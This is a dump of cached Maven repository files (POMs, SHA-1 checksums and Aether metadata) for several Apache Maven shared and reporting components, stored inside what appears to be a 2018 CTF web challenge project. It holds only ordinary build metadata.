web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.pom ================================================ 4.0.0 org.apache.maven.shared maven-shared-components 15 org.apache.maven.reporting maven-reporting-api 3.0 Maven Reporting API API to manage report generation. vsiveton Vincent Siveton vincent.siveton@gmail.com Java Developer -5 scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-reporting-api-3.0 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-reporting-api-3.0 http://svn.apache.org/viewvc/maven/shared/tags/maven-reporting-api-3.0 jira http://jira.codehaus.org/browse/MSHARED/component/14413 org.apache.maven.doxia doxia-sink-api 1.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-api/3.0/maven-reporting-api-3.0.pom.sha1 ================================================ eca7bd81ad86e6d8a978f37e1d077fee5c59d41e ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-exec/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:07 CST 2018 maven-reporting-exec-1.1.pom>central= maven-reporting-exec-1.1.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-exec/1.1/maven-reporting-exec-1.1.jar.sha1 ================================================ 6e584f7a77d08716e703aae223809e22cbba3af7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-exec/1.1/maven-reporting-exec-1.1.pom ================================================ 4.0.0 org.apache.maven.shared maven-shared-components 19 ../maven-shared-components/pom.xml org.apache.maven.reporting maven-reporting-exec 1.1 Maven Reporting Executor Classes to manage report plugin executions with Maven 3. scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-reporting-exec-1.1 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-reporting-exec-1.1 http://svn.apache.org/viewvc/maven/shared/tags/maven-reporting-exec-1.1 jira http://jira.codehaus.org/browse/MSHARED/component/14716 apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} 3.0 1.5.4 shared-archives/maven-reporting-exec-LATEST org.apache.maven.reporting maven-reporting-api 3.0 org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-settings ${mavenVersion} org.apache.maven maven-settings-builder ${mavenVersion} org.apache.maven.shared maven-shared-utils 0.3 org.codehaus.plexus plexus-component-annotations org.sonatype.aether aether-api 1.7 true org.sonatype.aether aether-util 1.7 org.eclipse.aether aether-api 0.9.0.M2 true org.eclipse.aether aether-util 0.9.0.M2 org.apache.maven.plugin-testing maven-plugin-testing-harness 2.0-alpha-1 test org.codehaus.plexus plexus-container-default junit junit 4.8.2 test org.apache.maven maven-compat ${mavenVersion} test org.apache.maven maven-embedder ${mavenVersion} test org.apache.maven maven-aether-provider ${mavenVersion} test org.sonatype.aether aether-connector-wagon 1.7 test org.codehaus.plexus plexus-container-default org.apache.maven.wagon wagon-http-lightweight 1.0 test org.codehaus.plexus plexus-container-default com.google.guava guava r07 test org.apache.maven.doxia doxia-site-renderer 1.1.4 test org.codehaus.plexus plexus-container-default org.apache.velocity velocity org.sonatype.sisu sisu-inject-plexus 2.2.0 provided org.codehaus.plexus plexus-velocity 1.1.8 test org.codehaus.plexus plexus-container-default org.apache.velocity velocity 1.5 test velocity velocity 1.5 test org.apache.maven.plugins maven-surefire-plugin ${settings.localRepository} ${env.M2_HOME} org.codehaus.plexus plexus-component-metadata generate-metadata org.apache.maven.plugins maven-enforcer-plugin enforce ensure-no-container-api org.codehaus.plexus:plexus-component-api org.codehaus.plexus:plexus-container-default The new containers are not supported. You probably added a dependency that is missing the exclusions. true org.apache.maven.plugins maven-invoker-plugin true src/it ${project.build.directory}/it setup verify ${project.build.directory}/local-repo src/it/settings.xml */pom.xml integration-test install integration-test verify ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/reporting/maven-reporting-exec/1.1/maven-reporting-exec-1.1.pom.sha1 ================================================ df01324810b26bb575e9cad5bfba25c7697ef51b ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.0-beta-2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:20 CST 2018 maven-filtering-1.0-beta-2.jar>central= maven-filtering-1.0-beta-2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.0-beta-2/maven-filtering-1.0-beta-2.jar.sha1 ================================================ 3eafeaced4cbc35e2a7bdb0c8ec4a82d881ab1d6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.0-beta-2/maven-filtering-1.0-beta-2.pom ================================================ org.apache.maven.shared maven-shared-components 10 2.0.6 4.0.0 org.apache.maven.shared maven-filtering jar 1.0-beta-2 Maven Filtering jira http://jira.codehaus.org/browse/MSHARED/component/13380 scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-filtering-1.0-beta-2 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-filtering-1.0-beta-2 http://svn.apache.org/viewvc/maven/shared/tags/maven-filtering-1.0-beta-2 maven-site-plugin 2.0-beta-7 org.codehaus.plexus plexus-maven-plugin 1.3.4 descriptor org.apache.maven maven-project 2.0.6 org.apache.maven maven-core 2.0.6 org.apache.maven maven-model 2.0.6 org.apache.maven maven-artifact 2.0.6 org.apache.maven maven-monitor 2.0.6 org.apache.maven maven-settings 2.0.6 org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.5.6 org.codehaus.plexus plexus-interpolation 1.6 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.0-beta-2/maven-filtering-1.0-beta-2.pom.sha1 ================================================ c4bbeb1f9e960134af0761a633fb37197ad97ec7 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:44 CST 2018 maven-filtering-1.1.jar>central= maven-filtering-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.1/maven-filtering-1.1.jar.sha1 ================================================ c223ff4ef9e9b3b51b2c9310dda59527a4b85baf ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.1/maven-filtering-1.1.pom ================================================ 4.0.0 org.apache.maven.shared maven-shared-components 17 ../maven-shared-components/pom.xml org.apache.maven.shared maven-filtering 1.1 jar Maven Filtering A component to assist in filtering of resource files with properties from a Maven project. 2.0.6 scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-filtering-1.1 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-filtering-1.1 http://svn.apache.org/viewvc/maven/shared/tags/maven-filtering-1.1 jira http://jira.codehaus.org/browse/MSHARED/component/13380 2.0.6 Graham Leggett junit junit 3.8.1 test org.apache.maven maven-project ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven maven-model ${mavenVersion} org.apache.maven maven-artifact ${mavenVersion} org.apache.maven maven-monitor ${mavenVersion} test org.apache.maven maven-settings ${mavenVersion} org.codehaus.plexus plexus-container-default 1.0-alpha-9-stable-1 org.codehaus.plexus plexus-utils 1.5.15 org.codehaus.plexus plexus-interpolation 1.12 org.sonatype.plexus plexus-build-api 0.0.4 org.sonatype.plexus plexus-build-api 0.0.4 test tests org.codehaus.plexus plexus-maven-plugin 1.3.4 descriptor reporting org.apache.maven.plugins maven-changes-plugin 2.4 Type,Key,Summary,Assignee,Status,Resolution,Created 200 true Key maven-filtering- jira-report ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-filtering/1.1/maven-filtering-1.1.pom.sha1 ================================================ 58f9827f70cc29dd6aed2477b6384f14462f9576 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/10/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:57 CST 2018 maven-shared-components-10.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/10/maven-shared-components-10.pom ================================================ 4.0.0 org.apache.maven maven-parent 9 ../pom/maven/pom.xml org.apache.maven.shared maven-shared-components 10 pom Maven Shared Components Maven shared components http://maven.apache.org/shared/ Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://www.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://www.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/commits@maven.apache.org http://www.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-10 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-10 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-10 jira http://jira.codehaus.org/browse/MSHARED apache.website scp://people.apache.org/www/maven.apache.org/shared/ maven-release-plugin https://svn.apache.org/repos/asf/maven/shared/tags maven-site-plugin scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version} reporting org.apache.maven.plugins maven-javadoc-plugin 2.5 org.codehaus.plexus plexus-javadoc 1.0 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/10/maven-shared-components-10.pom.sha1 ================================================ a7dabc7cff7b683d810e33a63c85cbc630c3ebf3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/15/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:58 CST 2018 maven-shared-components-15.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/15/maven-shared-components-15.pom ================================================ 4.0.0 org.apache.maven maven-parent 16 ../pom/maven/pom.xml org.apache.maven.shared maven-shared-components 15 pom Maven Shared Components Maven shared components http://maven.apache.org/shared/ Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://www.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://www.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://www.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/commits@maven.apache.org http://www.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://www.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://www.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ file-management maven-ant maven-archiver maven-common-artifact-filters maven-dependency-analyzer maven-dependency-tree maven-downloader maven-doxia-tools maven-filtering maven-invoker maven-model-converter maven-osgi maven-reporting-impl maven-repository-builder maven-runtime maven-shared-io maven-shared-jar maven-shared-monitor maven-verifier scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-15 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-15 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-15 jira http://jira.codehaus.org/browse/MSHARED apache.website scp://people.apache.org/www/maven.apache.org/shared/ maven-release-plugin https://svn.apache.org/repos/asf/maven/shared/tags maven-site-plugin scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version} reporting org.apache.maven.plugins maven-javadoc-plugin 2.5 org.codehaus.plexus plexus-javadoc 1.0 jre-1.5+ !1.4 maven-artifact-resolver parent-release maven-release-plugin -N -Papache-release maven-assembly-plugin source-release-assembly src ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/15/maven-shared-components-15.pom.sha1 ================================================ ea4cecd1845e61708cd05f20d5d428a3d429e67c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/16/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:00:36 CST 2018 maven-shared-components-16.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/16/maven-shared-components-16.pom ================================================ 4.0.0 org.apache.maven maven-parent 19 ../../pom/maven/pom.xml org.apache.maven.shared maven-shared-components 16 pom Maven Shared Components Maven shared components http://maven.apache.org/shared/ Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://old.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://old.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://old.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-16 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-16 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-16 jira http://jira.codehaus.org/browse/MSHARED apache.website scp://people.apache.org/www/maven.apache.org/shared/ maven-release-plugin https://svn.apache.org/repos/asf/maven/shared/tags maven-site-plugin scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version} reporting org.apache.maven.plugins maven-javadoc-plugin 2.7 org.codehaus.plexus plexus-javadoc 1.0 parent-release maven-release-plugin -N -Papache-release maven-assembly-plugin source-release-assembly src maven-3 ${basedir} org.apache.maven.plugins maven-site-plugin false attach-descriptor attach-descriptor ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/16/maven-shared-components-16.pom.sha1 ================================================ 214d20fcd1d88118bf0518e65284489aebb71259 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/17/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:38 CST 2018 maven-shared-components-17.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/17/maven-shared-components-17.pom ================================================ 4.0.0 org.apache.maven maven-parent 21 ../../pom/maven/pom.xml org.apache.maven.shared maven-shared-components 17 pom Maven Shared Components Maven shared components http://maven.apache.org/shared/ Maven User List users-subscribe@maven.apache.org users-unsubscribe@maven.apache.org users@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-users http://www.mail-archive.com/users@maven.apache.org/ http://old.nabble.com/Maven---Users-f178.html http://maven.users.markmail.org/ Maven Developer List dev-subscribe@maven.apache.org dev-unsubscribe@maven.apache.org dev@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/dev@maven.apache.org/ http://old.nabble.com/Maven-Developers-f179.html http://maven.dev.markmail.org/ Maven Issues List issues-subscribe@maven.apache.org issues-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-issues/ http://www.mail-archive.com/issues@maven.apache.org http://old.nabble.com/Maven---Issues-f15573.html http://maven.issues.markmail.org/ Maven Commits List commits-subscribe@maven.apache.org commits-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-dev http://www.mail-archive.com/commits@maven.apache.org http://old.nabble.com/Maven---Commits-f15575.html http://maven.commits.markmail.org/ Maven Announcements List announce@maven.apache.org announce-subscribe@maven.apache.org announce-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-announce/ http://www.mail-archive.com/announce@maven.apache.org http://old.nabble.com/Maven-Announcements-f15617.html http://maven.announce.markmail.org/ Maven Notifications List notifications-subscribe@maven.apache.org notifications-unsubscribe@maven.apache.org http://mail-archives.apache.org/mod_mbox/maven-notifications/ http://www.mail-archive.com/notifications@maven.apache.org http://old.nabble.com/Maven---Notifications-f15574.html http://maven.notifications.markmail.org/ scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-17 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-17 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-17 jira http://jira.codehaus.org/browse/MSHARED Jenkins https://builds.apache.org/job/maven-shared/ apache.website scp://people.apache.org/www/maven.apache.org/shared/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-changes-plugin 2.6 JIRA 1000 true ${project.artifactId}- org/apache/maven/shared [ANN] ${project.name} ${project.version} Released announce@maven.apache.org users@maven.apache.org dev@maven.apache.org ${apache.availid} ${smtp.host} org.apache.maven.shared maven-shared-resources 1 maven-release-plugin https://svn.apache.org/repos/asf/maven/shared/tags maven-site-plugin scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/17/maven-shared-components-17.pom.sha1 ================================================ 9574bbf041ebae3dcf84c221d552dbeb01fe5b40 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/18/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:56 CST 2018 maven-shared-components-18.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/18/maven-shared-components-18.pom ================================================ 4.0.0 org.apache.maven maven-parent 22 ../../pom/maven/pom.xml org.apache.maven.shared maven-shared-components 18 pom Maven Shared Components Maven shared components http://maven.apache.org/shared/ scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-18 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-18 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-18 jira http://jira.codehaus.org/browse/MSHARED Jenkins https://builds.apache.org/job/maven-shared/ apache.website scp://people.apache.org/www/maven.apache.org/shared/ apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-changes-plugin 2.7 JIRA 1000 true ${project.artifactId}- org/apache/maven/shared [ANN] ${project.name} ${project.version} Released announce@maven.apache.org users@maven.apache.org dev@maven.apache.org ${apache.availid} ${smtp.host} org.apache.maven.shared maven-shared-resources 1 maven-release-plugin https://svn.apache.org/repos/asf/maven/shared/tags maven-site-plugin scp://people.apache.org/www/maven.apache.org/shared/${project.artifactId}-${project.version} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/18/maven-shared-components-18.pom.sha1 ================================================ b9aa57e02b5452a9b6cc9147e40bb0b53a7c8009 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/19/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:55 CST 2018 maven-shared-components-19.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/19/maven-shared-components-19.pom ================================================ 4.0.0 org.apache.maven maven-parent 23 ../../pom/maven/pom.xml org.apache.maven.shared maven-shared-components 19 pom Maven Shared Components Maven shared components http://maven.apache.org/shared/ scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-19 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-19 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-19 jira http://jira.codehaus.org/browse/MSHARED Jenkins https://builds.apache.org/job/maven-shared/ apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/shared ${user.home}/maven-sites shared-archives/${project.artifactId}-${project.version} apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-changes-plugin 2.7 JIRA 1000 true ${project.artifactId}- org/apache/maven/shared [ANN] ${project.name} ${project.version} Released announce@maven.apache.org users@maven.apache.org dev@maven.apache.org ${apache.availid} ${smtp.host} org.apache.maven.shared maven-shared-resources 1 maven-release-plugin https://svn.apache.org/repos/asf/maven/shared/tags org.apache.maven.plugins maven-site-plugin 3.2 true org.apache.maven.plugins maven-scm-publish-plugin 1.0-beta-2 ${project.reporting.outputDirectory} scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} ${maven.site.cache}/${maven.site.path} true scm-publish site-deploy publish-scm site-release shared/${project.artifactId} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/19/maven-shared-components-19.pom.sha1 ================================================ 650a49682d4c82f060c7cc8005f8734a5fd86af9 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/20/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:53 CST 2018 maven-shared-components-20.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/20/maven-shared-components-20.pom ================================================ 4.0.0 org.apache.maven maven-parent 24 ../../pom/maven/pom.xml org.apache.maven.shared maven-shared-components 20 pom Apache Maven Shared Components Maven shared components http://maven.apache.org/shared/ scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-20 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-components-20 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-components-20 jira http://jira.codehaus.org/browse/MSHARED Jenkins https://builds.apache.org/job/maven-shared/ apache.website scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path} shared-archives/${project.artifactId}-LATEST apache.snapshots Apache Snapshot Repository http://repository.apache.org/snapshots false org.apache.maven.plugins maven-changes-plugin 2.9 JIRA 1000 true ${project.artifactId}- org/apache/maven/shared [ANN] ${project.name} ${project.version} Released announce@maven.apache.org users@maven.apache.org dev@maven.apache.org ${apache.availid} ${smtp.host} org.apache.maven.shared maven-shared-resources 1 maven-release-plugin https://svn.apache.org/repos/asf/maven/shared/tags org.apache.maven.plugins maven-scm-publish-plugin ${project.reporting.outputDirectory} ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-components/20/maven-shared-components-20.pom.sha1 ================================================ 034b86be6c23134585eb70de40700e59d4afcf92 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-incremental/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 maven-shared-incremental-1.1.jar>central= maven-shared-incremental-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.jar.sha1 ================================================ 9d017a7584086755445c0a260dd9a1e9eae161a5 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.pom ================================================ 4.0.0 org.apache.maven.shared maven-shared-components 19 ../maven-shared-components/pom.xml maven-shared-incremental 1.1 Maven Incremental Build support utilities Various utility classes and plexus components for supporting incremental build functionality in maven plugins. scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-incremental-1.1 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-incremental-1.1 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-incremental-1.1 jira https://jira.codehaus.org/browse/MSHARED/component/15650 2.2.1 org.apache.maven maven-plugin-api ${mavenVersion} org.apache.maven maven-core ${mavenVersion} org.apache.maven.reporting maven-reporting-api org.apache.maven.wagon wagon-file org.apache.maven.wagon wagon-http-lightweight org.apache.maven.wagon wagon-ssh org.apache.maven.wagon wagon-ssh-external commons-cli commons-cli classworlds classworlds org.codehaus.plexus plexus-container-default org.codehaus.plexus plexus-interactivity-api org.apache.maven.shared maven-shared-utils 0.1 org.codehaus.plexus plexus-component-annotations 1.5.5 org.codehaus.plexus plexus-component-api 1.0-alpha-16 provided org.codehaus.plexus plexus-component-metadata generate-metadata ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-incremental/1.1/maven-shared-incremental-1.1.pom.sha1 ================================================ c607b2c64c027151c440f27b5ec86e062b9e9953 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:56 CST 2018 maven-shared-utils-0.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/shared/maven-shared-utils/0.1/maven-shared-utils-0.1.pom ================================================ maven-shared-components org.apache.maven.shared 18 ../maven-shared-components/pom.xml/pom.xml 4.0.0 maven-shared-utils Maven Shared Utils 0.1 Shared utils without any further dependencies ${mavenVersion} jira http://jira.codehaus.org/browse/MSHARED scm:svn:http://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.1 scm:svn:https://svn.apache.org/repos/asf/maven/shared/tags/maven-shared-utils-0.1 http://svn.apache.org/viewvc/maven/shared/tags/maven-shared-utils-0.1 maven-shade-plugin 1.7.1 package shade true true commons-io:commons-io org.apache.commons.io org.apache.maven.internal.commons.io org.codehaus.mojo findbugs-maven-plugin findbugs-exclude.xml org.apache.rat apache-rat-plugin .git/**/* .idea/**/* **/.svn/**/* **/*.iml **/*.ipr **/*.iws **/*.versionsBackup .gitignore src/test/resources/directorywalker/**/* dependency-reduced-pom.xml junit junit 4.9 test hamcrest-core org.hamcrest org.apache.commons commons-lang3 3.1 test com.google.code.findbugs jsr305 2.0.1 compile 2.1.0 ================================================ FILE: 